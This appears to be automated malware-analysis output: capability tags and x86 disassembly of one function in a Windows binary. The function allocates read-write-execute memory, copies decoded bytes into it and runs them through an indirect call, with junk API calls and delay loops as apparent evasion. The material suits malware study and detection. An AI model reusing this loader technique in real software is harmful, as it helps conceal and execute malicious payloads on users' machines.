Function at 0x4045d2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x4045ff
inc edi
cmp edi, 0x67d12
jl 0x4045e2
cmp dword [0x282779c], 0x93
jne 0x4046f3
push 0x403fd8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x403ff0
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x404014
push 0x404048
push 0x4040a0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push 0x4040f4
push esi
call fcn.00405211
push esi
call fcn.00404ab4
push esi
push esi
call fcn.0040511a
push esi
push esi
call fcn.00405228
push esi
call fcn.004050e0
push esi
push esi
call fcn.0040510f
push 0xc
call fcn.00405977
mov edi, eax
add esp, 0x2c
cmp edi, esi
je 0x4048a9
mov dword [edi], edi
mov dword [edi + 4], edi
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4046ec
mov ebx, dword [eax]
push eax
call fcn.00405334
pop ecx
mov eax, ebx
cmp ebx, edi
jne 0x4046dd
push edi
call fcn.00405334
pop ecx
mov eax, dword [0x42fc64]
add dword [0x282779c], 0x1134b
push 0x4040f8
mov dword [0x28285d8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x404114
push eax
mov dword [0x282722c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x282779c]
mov dword [0x2827220], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x282779c]
mov dword [0x2827228], eax
push eax
call dword [0x2827220]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x404752
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x282779c], esi
jbe 0x4047d2
mov eax, dword [0x28285d8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2827228]
mov byte [ecx + edi], al
cmp dword [0x282779c], 0x490
jne 0x4047c9
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x282779c]
jb 0x404780
xor edi, edi
mov eax, dword [0x282779c]
add eax, edi
cmp eax, 0x8d
jne 0x404813
push esi
lea eax, [ebp - 0x414]
push eax
push esi
push 0x404124
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0x404128
push 0x404140
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x4047d4
call fcn.004044fd
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x404841
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x3d12
mov eax, dword [ebp - 4]
add dword [0x2827228], eax
inc edi
cmp edi, 0x674bd
jl 0x404823
push 0x7b
pop edi
cmp dword [0x282779c], 0x86
jne 0x404894
push esi
push esi
push esi
push esi
push esi
push esi
push 0x404160
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec edi
jne 0x40484d
push 0x404198
call ebx
call dword [0x2827228]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], esi
call fcn.00404b64
push 0x42b4b8
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x40130c
call fcn.004094e6
int3